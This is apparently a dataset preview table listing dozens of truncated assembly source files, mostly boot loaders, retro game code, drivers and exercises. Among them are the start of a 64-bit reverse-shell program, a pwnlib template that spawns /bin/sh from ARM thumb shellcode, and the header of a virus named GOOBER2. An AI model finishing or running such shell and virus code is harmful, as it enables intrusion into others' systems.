content stringlengths 23 1.05M |
|---|
;*******************************************************************************
; basedev.nasm - legacy PC chips support (CMOS,PIC,DMA etc.)
; Copyright (c) 1999-2002 RET & COM Research.
;*******************************************************************************
module kernel.x86.basedev
%include "sys.ah"
%incl... |
extern RW
mov [eax + (RW + 22032) - (RW + 23056)], eax
|
;; Licensed to the .NET Foundation under one or more agreements.
;; The .NET Foundation licenses this file to you under the MIT license.
#include "AsmMacros.h"
EXTERN memcpy
EXTERN memcpyGCRefs
EXTERN memcpyGCRefsWithWriteBarrier
EXTERN memcpyAnyWithWriteBarrier
TEXTAREA
;;;;;;;;;;;;;;;;;;;;;;;;... |
Name: ztram.asm
Type: file
Size: 12302
Last-Modified: '2016-05-13T04:36:32Z'
SHA-1: 59483ADA8D7AD15CA60CD36DEC62D99354EFD049
Description: null
|
port1 equ 0x7ffd ; address of ROM/RAM switching port in I/O map
bankm equ 0x5b5c ; system variable that holds the last value output to 7FFDh
PROG equ 0x5c53
offset equ 49
;prevent assembly code from being listed
defb 0x0d
defb 0xff
;ensure bank 0 is selected
ld a, (bankm) ; Previous value of port
and 0xf8 ; Selec... |
section .data
msg db 'Olá Mundo Compuway!', 0xa ; Cria uma variável chamada msg do tipo Byte, e o 0xa finaliza ela!
tamanho equ $ - msg ; Calcula o peso da mensagem e coloca na variavel tamanho
section .text
global _start
_start:
mov edx, tamanho ; Coloca o tamanho da var no registrador EDX
mov ec... |
//
// Define PositionClips here and add them to list of all PositionClips.
//
{
// Define keyframes.
.var keyframes = List()
.for (var i = 0; i < 33; i++)
{
.var angle = toRadians(i * 360 / 32)
.eval keyframes.add(PosKey(i * 8, round(127 * (cos(angle) + 1)), round(85... |
# PSUEDO
# Test for expansion of psuedo instructions
.data
arr: .word 3 # actually, addr should be 0x10000000 (default start addr)
.text
bgt $s0, $t1, 8
li $t2, 5 # load a 16-bit immediate
li $t0, 75000 # load a 32-bit immediate
la $t1 arr # load from address 'arr'
; branching with symbols
branch_l... |
RESULTS_START EQU $c000
RESULTS_N_ROWS EQU 8
include "base.inc"
; This test verifies that channel 1 ticks at 1MHz
CorrectResults:
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $F0, $F0, $F0, $F0
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $F0, $F0, $F0
db $00, $00, $00,... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: tslMethodHilite.asm
AUTHOR: John Wedgwood, Apr 20, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Dat... |
copyright zengfr site:http://github.com/zengfr/romhack
006088 tst.b ($51,A6)
00608C beq $60e0 [123p+ 51, enemy+51]
010864 tst.b ($51,A3)
010868 bne $10896 [enemy+51]
01091C tst.b ($51,A3)
010920 bne $1095a [enemy+51]
012CFE tst.b ($51,A6) [123p+ 50, enemy+50, etc+50, item+50]
012D02 bne ... |
*=$c000
LDY #$a0
LDA #$11
JSR INTFAC
ldx #00
ldy #$20
jsr 48087
jsr 43708
LDA #00
LDY #$20
JSR REALFAC
jsr 43708
LDA #00
LDY #$20
JSR REALFAC
RTS |
.386
.model flat,stdcall
.stack 4096
ExitProcess proto,dwExitCode:dword
TITLE Selective Attention (Word Finder) - Ethan Brown (WordFinder.asm)
INCLUDE Irvine32.inc
KEY = 12 ; any value between 1-255
BUFMAX = 128 ; maximum buffer size
.data
sPrompt BYTE "Enter the plain text:",0
sEncrypt BYTE "Cip... |
;FamiTone2 v1.11
;settings, uncomment or put them into your main program; the latter makes possible updates easier
FT_BASE_ADR = $0300 ;page in the RAM used for FT2 variables, should be $xx00
;-------------------------------------
;Note that FT_BASE_ADR has been changed from
;$0300 to $0400. Your sprit... |
.globl main # declaring main as global function
.text
main:
move $t0, $zero # $t0 - address, initialising the temporary register $t0 with zero,
li $t1, 0 # $t1 - register to store the value from the first matrix when read from the memory
li $t2, 0 # $t2 - stores (xi-yi)
... |
47_Header:
sHeaderInit ; Z80 offset is $C3CC
sHeaderPatch 47_Patches
sHeaderTick $01
sHeaderCh $01
sHeaderSFX $80, $C0, 47_PSG3, $00, $00
47_PSG3:
sNoisePSG $E7
sVolEnvPSG v0D
dc.b nB6, $02, sHold, nBb6, sHold, nA6, sHold, nAb6
47_Loop1:
dc.b sHold, nG6
saVolPSG $01
sLoop $00, $0A, 47_Loop1
sStop
4... |
; struct sp1_ss __CALLEE__ *sp1_CreateSpr_callee(void *drawf, uchar type, uchar height, int graphic, uchar plane)
; 01.2008 aralbrec, Sprite Pack v3.0
; ts2068 hi-res version
PUBLIC sp1_CreateSpr_callee
PUBLIC ASMDISP_SP1_CREATESPR_CALLEE
EXTERN _sp1_struct_ss_prototype, _sp1_struct_cs_prototype
EXTERN _u_malloc, _u_... |
;
; jmemdosa.asm
;
; Copyright (C) 1992, Thomas G. Lane.
; This file is part of the Independent JPEG Group's software.
; For conditions of distribution and use, see the accompanying README file.
;
; This file contains low-level interface routines to support the MS-DOS
; backing store manager (jmemdos.c). Routines are ... |
bits 32
extern printf
global hello
global maxofthree
section .data
message db "Hello world!!", 10, 0
section .text
hello:
pushad
push dword message
call printf
add esp, 4
popad
ret
maxofthree:
mov eax, [esp+4]
mov ecx, [esp+8]
mov edx, [esp+12]
cmp eax, ecx
cmovl eax, ecx
cmp eax, edx
cmovl eax,... |
==================== Asm code ====================
.section .text
.align 8
.globl func1
.type func1, @function
func1:
_c2:
movl $256,%ebx
jmp *(%rbp)
.size func1, .-func1
|
%include "defines.inc"
section .data
x db 2, 4, 3
len equ $ - x
sum db 0
section .text
global _start
_start:
mov eax, 3 ; number bytes to be summed
mov ebx, 0 ; EBX will store the sum
mov ecx, x ; ECX will point to the current element to be summed
top:
add ebx, [ecx]
... |
_start:
xor al, al
jz fake+1
fake:
jmp 0x029FBF4C
db 0x40,0x00,0x00,0x00
db 0x00,0x00,0xE8,0xCC
db 0xFF,0xFF,0xFF,0xBF
db 0x00,0x00,0x00,0x00
db 0xE8,0xD2,0xFF,0xFF
db 0xFF,0xC3,0x68,0x65
db 0x6C,0x6C,0x6F,0x20
db 0x77,0x6F,0x72,0x6C
db 0x64,0x0A,0x00
|
main.elf: file format elf32-littleriscv
Disassembly of section .text:
00000000 <_start>:
0: 00000037 lui zero,0x0
00000004 <__crt0_pointer_init>:
4: 80002117 auipc sp,0x80002
8: ff810113 addi sp,sp,-8 # 80001ffc <__ctr0_io_space_begin+0x800021fc>
c: 800... |
; Console Message, 64 bit. V1.03
NULL EQU 0 ; Constants
STD_OUTPUT_HANDLE EQU -11
extern GetStdHandle ; Import external symbols
extern WriteFile ; Windows API functions, not decorated
extern ExitProcess
global Star... |
;
; ZX 81 specific routines
; by Stefano Bodrato, Oct 2007
;
; Copy a string to a BASIC variable
;
; int __CALLEE__ zx_setstr_callee(char variable, char *value);
;
;
; $Id: zx_setcursorpos_callee.asm,v 1.3 2012/01/09 16:02:36 stefano Exp $
;
XLIB zx_setcursorpos_callee
XDEF ASMDISP_ZX_SETCURSORPOS_CALLEE
LIB zx_d... |
; Code for Zolatron 64 6502-based microcomputer.
;
; GitHub: https://github.com/mspeculatrix/Zolatron64/
; Blog: https://mansfield-devine.com/speculatrix/category/projects/zolatron/
;
; Written for the Beebasm assembler
; Assemble with:
; beebasm -v -i TESTB.asm
CPU 1 ; use 65C02 instruct... |
Route5GateObject:
db $a ; border block
db $4 ; warps
db $5, $3, $2, $ff
db $5, $4, $2, $ff
db $0, $3, $1, $ff
db $0, $4, $0, $ff
db $0 ; signs
db $1 ; objects
object SPRITE_GUARD, $1, $3, STAY, RIGHT, $1 ; person
; warp-to
EVENT_DISP ROUTE_5_GATE_WIDTH, $5, $3
EVENT_DISP ROUTE_5_GATE_WIDTH, $5, $4
EVEN... |
; https://adventofcode.com/2020/day/2 (part 2)
OPT listoff : DEVICE ZXSPECTRUMNEXT : MMU 0 7, 0, $0000
inputFile: ; load the input.txt into virtual device memory for processing
INCBIN "input.txt"
DB 10 ; fake <EOL> to make sure there's one
inputEnd:
PHASE_NUM1 EQU 0 ; reading policy number1
P... |
;===============================================================================
;- Programm: 8BitTastencounterPunkt
;-
;- Dateinname: 8BitTastencounterPunkt.asm
;- Version: 1.0
;- Autor: Benj Fassbind
;-
;- Verwendungszweck: uP-Schulung
;-
;- Beschreibung:
;-
;-
;-
;- Entwicklungsablauf:
;-... |
Encrypt Function
push ebp
mov ebp,esp
pop ebp
ret
Decrypt Function
push ebp
mov ebp,esp
add dword [arg_8h], 0x26
xor dword [arg_8h], 0x37
xor dword [arg_8h], 0x11e61
not dword [arg_8h]
xor dword [arg_8h], 0x7a69
sub dword [arg_8h], 0x18
mov eax, dword [arg_8h]
pop ebp
ret
push ebp
mov ebp,esp
mov eax, 4
add eax, 0x26... |
;* GB-RNG
;* Copyright (c) 2019 Szieberth Ádám
;* 0BSD License (see LICENSE file for more info)
;* =============================================================================
;* ABSTRACT
;* =============================================================================
;* This is the main (host) program of GB-RNG whi... |
page 49,132
TITLE exprint.asm - executors for [L]PRINT | WRITE [USING]
;***
;exprint.asm - executors for [L]PRINT | WRITE [USING]
;
; Copyright <C> 1986, Microsoft Corporation
;
;Purpose:
;
;
;****************************************************************************
.xlist
include version.inc
EXPRINT_ASM = ON
... |
SECTION code_fp_math16
PUBLIC cm16_sdcc_log
EXTERN cm16_sdcc_read1, logf16
cm16_sdcc_log:
call cm16_sdcc_read1
jp logf16
|
; A159325: Median number of comparisons used by insertion sort on n (distinct) elements.
; 0,1,3,5,8,11,15,19,24,30,36,42,49,56,64,73,82,91,101,111,122,134,146,158,171,185
mov $2,$0
mul $0,2
mov $1,$0
lpb $0
mul $1,2
pow $1,2
mov $3,$0
mov $0,1
mul $3,2
lpe
add $1,$3
div $1,63
add $1,$2
|
INCLUDE "hardware.inc"
INCLUDE "header.inc"
SECTION "Main",HOME
;--------------------------------------------------------------------------
;- Main() -
;--------------------------------------------------------------------------
Main:
ld a,0
ld... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1993 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Stream Drivers -- FileStream driver
FILE: filestrMain.asm
AUTHOR: Jim DeFrisco, Jan 12, 1993
ROUTINES:
Name Description
---- -----------
... |
;
; Driver manager
;
INCLUDE "Driver.asm"
INCLUDE "PSG.asm"
INCLUDE "ExternalPSG.asm"
INCLUDE "Darky.asm"
INCLUDE "SFG.asm"
INCLUDE "MSXMusic.asm"
INCLUDE "MSXAudio.asm"
INCLUDE "OPL3.asm"
INCLUDE "OPL4.asm"
INCLUDE "MoonSound.asm"
INCLUDE "DalSoRiR2.asm"
INCLUDE "SCC.asm"
INCLUDE "SCCPlus.asm"
INCLUDE "D... |
.ORIG x3000
AND R4, R4, #0 ;clearing R7
LEA R0 KEY_PROMPT ; gets address of E in encrypted and goes there
PUTS ; prints Encryption Key
GETC
OUT ; prints user input Key
LD R2, OFFSET ; put -30 in R2
ADD R5, R0, R2 ; converted into integer
LEA R0 IN_PROMPT
PUTS
ADD R4, R4, x-0A ; loading -x0A, representing a new li... |
;;; ----------------------------------------------------------------------
;;; Programmable timer sample program for the Atari ST
;;; Written by Michael Martin, 2021
;;; Based on C sample code by Jwahar R. Bammi, 1986
;;; ----------------------------------------------------------------------
text
move.l #conf... |
;;; Algorithm for the iteration x ← a x mod m
;;; using Schrage’s method
.ORIG x3000
JSR Random
HALT
;;; -----------------------------------------------------
;;; Memory X has next random number
Random: ST R7,BACK ; save return location
LD R0, M
LD R1, A
JSR Divide ; R0 / R1
... |
%include 'textmode.h'
call draw_border
mov di, 160 * 2 + 8 ;where to place cursor
mov si, line01 ;fetch the text
mov ah, 0x0A ;color
call slide_line
call wait_loop
mov di, 160 * 4 + 16 ;where to place cursor
mov si, line02 ;fetch the text
mov ah, 0xF0
call slide_line
mov di, 160 * 5 + 16 ;where to plac... |
_FuchsiaMartText2::
text "Do you have a"
line "SAFARI ZONE flag?"
para "What about cards"
line "or calendars?"
done
_FuchsiaMartText3::
text "Did you try X"
line "SPEED? It speeds"
cont "up a #MON in"
cont "battle!"
done
|
Name: record-e.asm
Type: file
Size: 13684
Last-Modified: '1992-11-18T01:48:28Z'
SHA-1: C7AF420E6C4E6D0CE52A8B26599764462CCF08D7
Description: null
|
; QL-SD RESPR version initialisation 2018 M. Kilgus
section header
xdef nd_init
xref banner
xref init
include 'dev8_keys_qlv'
base
suba.l a0,a0
lea banner(pc),a1 ; Output version string
move.w ut.wtext,a2
jsr (a2)
moveq #1,d7 ; start by RESPR
bra.s init
; Doesn't make sense for RESPR version to... |
; void SMS_finalizeSprites(void)
SECTION code_clib
SECTION code_SMSlib
PUBLIC SMS_finalizeSprites
EXTERN asm_SMSlib_finalizeSprites
defc SMS_finalizeSprites = asm_SMSlib_finalizeSprites
|
BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=FLAG_AF
;TEST_FILE_META_END
; AND16i16
mov ax, 0x7
;TEST_BEGIN_RECORDING
and ax, 0xeeee
;TEST_END_RECORDING
|
;
; Z88dk Generic Floating Point Math Library
;
; FA = bc ix de
XLIB ldfabc
XREF fa
.LDFABC LD (FA),DE
LD (FA+2),IX
LD (FA+4),BC
RET
|
dim equ 3
.model small
.stack
.data
vett dw 1, 2, 3
res dw ?
.code
.startup
mov di, 0
mov ax, 0
mov cx, dim
ciclo:
add ax, vett[di]
add di, 2
loop ciclo
mov res, ax
.exit
end |
<% from pwnlib.shellcraft import arm, common %>
<% from pwnlib.asm import cpp %>
<%docstring>Execute /bin/sh in thumb mode
need to call arm_to_thumb() shellcode first
</%docstring>
<%
bin_sh = common.label("bin_sh")
%>
.thumb
adr r0, ${bin_sh}
movs r2, #0
movs r7, #${cpp("SYS_execve", arch = "thumb", os = "linux... |
DrHudOverride:
{
jsl.l NewDrawHud
jsr HudAdditions
rtl
}
HudAdditions:
{
lda.l DRFlags : and #$0008 : beq ++
lda $7EF423 : and #$00ff
jsr HudHexToDec4DigitCopy
LDX.b $05 : TXA : ORA.w #$2400 : STA !GOAL_DRAW_ADDRESS+10 ; draw 100's digit
LDX.b $06 : TXA : ORA.w #$2400 : STA !GOAL... |
.RST
$4920 78 SEI
$4921 20 79 49 JSR $4979
$4924 a9 10 LDA #$10
$4926 8d 06 49 STA $4906
$4929 58 CLI
.L_MAIN_LOOP
$492a ea NOP
$492b 4c 2a 49 JMP $492a
.L_IRQ
$492e ad 03 49 LDA $4903
$4931 c9 01 CMP #$01
$4933 f0 ... |
; 0100 - STA Zero Page
.segment "VECTORS"
.word $eaea
.word init
.word $eaea
.code
init:
sta $00 ; Positive number, A will be $42.
sta $00 ; Zero, A will be $00.
sta $00 ; Negative number, A will be %10010101. |
MODULE _printf
SECTION code_clib
PUBLIC _printf
EXTERN asm_printf
EXTERN fputc_callee
EXTERN __sgoioblk
;sdcc version
_printf:
ld hl,4
add hl,sp ;points to ap
pop bc ;ret address
pop de ;fmt
push de
push bc
IF !__CPU_INTEL__
push ix ;save ix
ENDIF
ld bc,__sgoioblk+10 ;file
push bc
ld bc,fputc_c... |
; $Id: bootsector2-vbinstst-64-1.asm 69111 2017-10-17 14:26:02Z vboxsync $
;; @file
; Bootsector tests instructions in 64-bit mode.
; VBoxManage setextradata bs-vbinstst-64-1 VBoxInternal/Devices/VMMDev/0/Config/TestingEnabled 1
;
;
; Copyright (C) 2007-2017 Oracle Corporation
;
; This file is part of VirtualBox Op... |
include 'emu8086.inc'
.model small
.stack 100h
.data
z dw ?
.code
main proc
;EQN- z= 5x + 5y
;x=2
;y=3
;output = 25
mov ax,@data
mov ds,ax
call scan_num
mov bx,cx ;x
add bx,cx
add bx,cx
add bx,cx
add bx,cx
call scan... |
global _start
section .data
align 16
%include "header.inc"
fstenv [esp]
; zero undefined fields
mov word [esp + 0 + 2], 0
mov word [esp + 4 + 2], 0
mov word [esp + 8 + 2], 0
mov word [esp + 24 + 2], 0
%include "footer.inc"
|
.proc hiBYTE
lda :STACKORIGIN,x
:4 lsr @
sta :STACKORIGIN,x
rts
.endp
.proc hiWORD
lda :STACKORIGIN+STACKWIDTH,x
sta :STACKORIGIN,x
rts
.endp
.proc hiCARD
lda :STACKORIGIN+STACKWIDTH*3,x
sta :STACKORIGIN+STACKWIDTH,x
lda :STACKORIGIN+STACKWIDTH*2,x
sta :STACKORIGIN,x
rts
.endp
|
; Convert floating point to dec string V2.01 1990 Tony Tebby QJUMP
section cv
xdef cr_fpdec
xdef ca_fpdec
xref ca_idec
xref qa_muld
xref qa_mul
xref qa_divd
xref qa_div
xref qa_dup
xref qa_nlint
xref qa_neg
xref qa_power
include 'dev8_keys_qlv'
;+++
; Decimal conversion: FP to characters
;
; d0 ... |
;*
;* CW : Character Windows Drivers
;*
;* fx_kbd3.asm : DOS 3 Fixed keyboard driver (linked in)
;* * DOES NOT INCLUDE "kbd_code"
;* * has data in application's data segment
;*****************************************************************************
include kbd_head.inc
include fxdrv.inc
include kbd3.inc
;* s... |
SECTION code_fp_mbf64
PUBLIC cos
INCLUDE "mbf64.def"
EXTERN ___mbf64_setup_single
EXTERN ___mbf32_COS
EXTERN ___mbf64_return_single
EXTERN msbios
cos:
call ___mbf64_setup_single
ld ix,___mbf32_COS
call msbios
jp ___... |
[bits 64]
aesenc xmm1, xmm2
aesenc xmm1, [rax]
aesenc xmm1, dqword [rax]
aesenc xmm10, xmm12
aesenc xmm10, [rax+r15*4]
aesenc xmm10, [r14+r15*4]
vaesenc xmm1, xmm2
vaesenc xmm1, [rax]
vaesenc xmm1, dqword [rax]
vaesenc xmm1, xmm2, xmm3
vaesenc xmm1, xmm2, [rax]
vaesenc xmm1, xmm2, dqword [rax]
aesenclast xmm1, xmm2
ae... |
SECTION "Map_2791", ROM0[$B800]
Map_2791_Header:
hdr_tileset 17
hdr_dimensions 21, 15
hdr_pointers_a Map_2791_Blocks, Map_2791_TextPointers
hdr_pointers_b Map_2791_Script, Map_2791_Objects
hdr_pointers_c Map_2791_InitScript, Map_2791_RAMScript
hdr_palette $06... |
; Test case:
CONSTANT: equ 0
label1:
nop
label1.local1:
_sjasm_reusable_1_1:
nop
label1.local2:
nop
label1.local3:
nop
label2:
nop
loop:
jp loop
|
; void *w_vector_pop_back(w_vector_t *v)
SECTION code_adt_w_vector
PUBLIC _w_vector_pop_back
EXTERN _w_array_pop_back
defc _w_vector_pop_back = _w_array_pop_back
|
initDMA::
ld [START_DMA], a
ld a, DMA_DELAY
.wait:
dec a
jr nz, .wait
ret
WPRAM_init::
db $00, $11, $22, $33, $44, $55, $66, $77
db $88, $99, $AA, $BB, $CC, $DD, $EE, $FF
; Enable interrupts and init RAM
; Params:
; None
; Return:
; None
; Registers:
; af -> Preserve... |
TITLE GDI.ASM
PAGE ,132
;
; WOW v1.0
;
; Copyright (c) 1991, Microsoft Corporation
;
; GDI.ASM
; Thunks in 16-bit space to route Windows API calls to WOW32
;
; History:
; 25-Jan-1991 Jeff Parsons (jeffpar)
; Created.
;
; Some applications require that USER have a heap. ... |
; A186808: Numbers n such that there are a prime number of unlabeled distributive lattices with n elements.
; Submitted by Jamie Morken(w3)
; 4,5,6,10,12,13,18,21,23,26
mov $4,$0
mov $7,$0
lpb $4
mov $0,$7
mov $2,0
sub $4,1
sub $0,$4
add $0,1
mov $1,3
mov $3,$0
mul $3,4
mov $5,0
mov $6,0
lpb $3
... |
TowerMons3:
db $0A
db 20,HOOTHOOT
db 21,GASTLY
db 22,CUBONE
db 23,GASTLY
db 24,GASTLY
db 19,MISDREAVUS
db 18,GASTLY
db 25,VULPIX
db 20,HAUNTER
db 25,HAUNTER
db $00
|
# $Id: e_st_1.asm,v 1.1 2001/03/14 16:57:30 ellard Exp $
#@ tests for "underflow" in st.
st r3, r2, 0 # OK
st r3, r2, -1 # Not OK
|
Name: ys_w27.asm
Type: file
Size: 22875
Last-Modified: '2016-05-13T04:51:15Z'
SHA-1: 55CDBA4BC5E98CD5309173F7F66D8A6C6343373F
Description: null
|
global entry
extern main
BITS 16
section .text
entry:
xor ax,ax
mov ds,ax
mov es,ax
mov ss,ax
mov ax,0x2401 ;Enable A20
int 0x15
mov si,diskpack ;Load bottom half
mov ah,0x42
mov dl,0x80
int 0x13
mov sp,0x7DC0 ;Init stack (2KB)
jmp ... |
; Declare constants used for creating a multiboot header.
MBALIGN equ 1<<0
MEMINFO equ 1<<1
FLAGS equ MBALIGN | MEMINFO
MAGIC equ 0x1BADB002
CHECKSUM equ -(MAGIC + FLAGS)
section .multiboot
align 4
dd MAGIC
dd FLAGS
dd CHECKSUM
section .bootstrap_stack, nobits
align 4
stack_bottom:
resb ... |
;
; jemul8 - JavaScript x86 Emulator
; Copyright (c) 2012 http://ovms.co. All Rights Reserved.
;
; MODULE: Jump test suite (boot sector)
;
org 0
jmp 0x07C0:start
start:
cli
; Update DS & ES to be 7C0 instead of 0
push CS
pop DS
push CS
pop ES
; Create stack
mov ax, 0x0000
mov ss, ax
mov sp, 0xF... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: uiLineWidthControl.asm
AUTHOR: Jon Witort
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 15 apr 1992 Initial version.
... |
//------------------------------------------------------------------------------
//
// Copyright (c) 2008 - 2009, Apple Inc. All rights reserved.<BR>
//
// This program and the accompanying materials
// are licensed and made available under the terms and conditions of the BSD License
// which accompanies this distribut... |
PUBLIC fputc_cons_rom_rst
EXTERN call_rom3
; (char to print)
fputc_cons_rom_rst:
ld hl,2
add hl,sp
ld b,(hl)
ld hl,skip_count
ld a,(hl)
and a
ld a,b
jr z,continue
dec (hl)
jr direct
continue:
cp 22 ;move to
jr nz,not_posn
ld (hl),2
not_posn:
cp 10
jr nz,not_lf
ld a,13
not_... |
;reboot using BIOS.
;nasm -f bin -o reboot.com reboot.asm
org 100h
section .text
start: int 19h
.end |
; SER PAR PRT Thing V2.12 1999 Tony Tebby
;
; 2003-09-24 2.11 prt_use$ bug fixed (wl)
; 2003-10-06 2.12 Some fixes for non-QPC I had sent TT 2 years ago (MK)
; 2020-02-08 2.13 Use ser par prt as thing name, not ser_prt, some branches made short
section exten
xdef spp_thing
xdef spp_tnam
xref spp_ckn... |
#ruledef test
{
loop => 0x5555 @ $`16
}
#bankdef a { #size 0x10 #outp 8 * 0x10 } ; error: expected line break |
find_string:
pusha
call calc_len
mov bx, 0
search_loop:
mov dx, bx
call print_hex
call print_nl
;search for string:
second_loop:
cmp cx, 0
je end_search
mov ax, [si]
cmp [bx], ax
jne cont_search
check_next_char:
inc bx
inc si
jmp second_loop
cont_search:
inc bx
jmp... |
Sound_8D_Header:
smpsHeaderStartSong 3
smpsHeaderVoice Sound_8D_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $01
smpsHeaderSFXChannel cPSG3, Sound_8D_PSG3, $1F, $05
; PSG3 Data
Sound_8D_PSG3:
smpsPSGform $E7
smpsPSGvoice sTone_16
smpsModSet $01, $01, $F0, $17
dc.b nD4, $03, ... |
stack segment para stack
db 64 dup (' ')
stack ends
data segment para 'data'
time_aux db 0
ball_size dw 04h
ball_x dw 0ah
ball_y dw 0ah
ball_velocity_x dw 05h
ball_velocity_y dw 02h
data ends
code segment para 'code'
main proc far
assume cs:code, ds:data, ss:stack
push ds ; push data seg... |
;****************************************************************************
; Filename DaveTest.asm
; Project DaveTest.dav
;----------------------------------------------------------------------------
; Description This file contains the assembler formatted information
; about the act... |
;***
;strcspn.asm -
;
; Copyright (c) 1991-2001, Microsoft Corporation. All rights reserved.
;
;Purpose:
; defines strcspn()- finds the length of the initial substring of
; a string consisting entirely of characters not in a control string.
;
; NOTE: This stub module scheme is compatible with NT build
; pro... |
; Z88 Small C+ Run Time Library
; Long support functions
; "8080" mode
; Stefano - 30/4/2002
;
SECTION code_crt0_sccz80
PUBLIC l_long_cmp
EXTERN __retloc
EXTERN __retloc2
; Signed compare of dehl (stack) and dehl (registers)
;
; Entry: primary = (under two return addresses on stack)
; ... |
global loader
global writeCR0
global readCR0
global writeCR1
global readCR1
global writeCR2
global readCR2
global writeCR3
global readCR3
global writeCR4
global readCR4
global intson
global intsoff
global gdt_flush
global halt
global reschedule
global get_flags
extern main
extern ini... |
; Window manager Version 1988 Tony Tebby QJUMP
xdef wm_vers
xdef wm.pver
; V1.04 WM.DRBDR added
;
; V1.05 Zero text pointers allowed, information blobs corrected
;
; V1.06 CHWIN returns size change. Initial pointer set rel hit
; area. Fixed window sizes accepted by SETUP. BREAK
; ... |
;nasm -f elf64 reverse_shell.asm && ld reverse_shell.o -o rev_shell
;Simple Reverse Shell (x86_64) 64 BITS
;syscall list (/usr/include/asm/unistd_64.h)
;socketcall number (/usr/include/linux/net.h)
;Author : Unam3dd
BITS 64
section .text
global _start
_start:
jmp _init_socket ; Init Socket
_init_socket:
... |
TITLE MASM Template (main.asm)
;Author: @CamiloMoreira
;
;Revision:
INCLUDE Irvine32.inc
.data
myMessage BYTE "Hello World MASM!",0dh,0ah,0
.code
main PROC
call Clrscr
mov edx,OFFSET myMessage
call WriteString
exit
main ENDP
END main |
; GOOBER2.ASM -- GOOBER 2
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code ... |
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1988-1992
; * All Rights Reserved.
; */
page 95,160
title 'HIMEM.SYS - Microsoft XMS Device Driver'
;*****************************************************************************
;* *
;* ... |
// Original test: ./kohlmann/hw4/problem6/sle_2.asm
// Author: kohlmann
// Test source code follows
// SLE Test 2 - Verify that SLE correctly compares positive and negative representations.
lbi r1, 0x10 // r1 = 16'd16
lbi r2, 0xF0 // r2 = -16'd16
sle r3, r1, r2 // r3 should equal 0
sle r3, r2, r1 // r3 should equal 1... |
;
; Configuration vars
;
%define BOOT_PROTECTED_MODE 0
;
; Index of storage - in QEMU this vale is from 'index=0,if=floppy'
;
%define DRIVE 0
;
; Address the bootlodaer Stage 2 will be loaded at
;
%define BOOTLOADER_SECOND_STAGE_ADDR 0x7E00
;
; Address the kernel image wil... |
section .data
array: dq 0,1,2,3,4,5
array_length: dq 6
message: db "The sum of array is %ld", 10, 0
section .text
global main
extern printf
main:
push rbp
mov rbp, rsp
;rdi = &array
mov rdi, array
;i = 0
xor rcx, rcx
;sum = 0
xor rax, rax
;array_length = 6
mov rbx, [array_l... |
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) MyTurn.com 2000 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: printer drivers
FILE: printcomCanonRGBPage.asm
AUTHOR: Dave Hunter
ROUTINES:
Name Description
---- -----------
PrintStartPage initial... |
assume cs:code,ds:code,es:code ; tiny model (CS=DS=ES)
assume ds:code,es:code; close comment
assume fs:code,gs:code
|
device zxspectrum48
org $7D00
CustomFont:
db $00, $00, $00, $00, $00, $00, $00, $00 ; ' ' = empty/space
db $01, $01, $01, $01, $01, $01, $01, $01 ; '!' = right solid
db $01, $01, $01, $01, $01, $01, $01, $FF ; '"' = right bottom solid
db $00, $00, $00, $00... |
section .text
extern printf
global main
main:
; invoke sys_read
mov eax, 3
mov ebx, 0
mov ecx, storage
mov edx, 128
int 0x80
;
; check char by char and count brackets
;
; eax/al = current char
; ebx = char counter
; ecx = bracket counter
xor ebx, ebx
xor ecx, ecx
lp:
mov al, [storage+ebx]
cmp eax... |
;
; Copyright (c) 2014, Alexey Frunze
; 2-clause BSD license.
;
bits 32
extern ___start__
section .text
global __start
__start:
jmp ___start__ ; __start__() will set up argc and argv for main() and call exit(main(argc, argv))
|
; This file is a part of the IncludeOS unikernel - www.includeos.org
;
; Copyright 2015 Oslo and Akershus University College of Applied Sciences
; and Alfred Bratterud
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.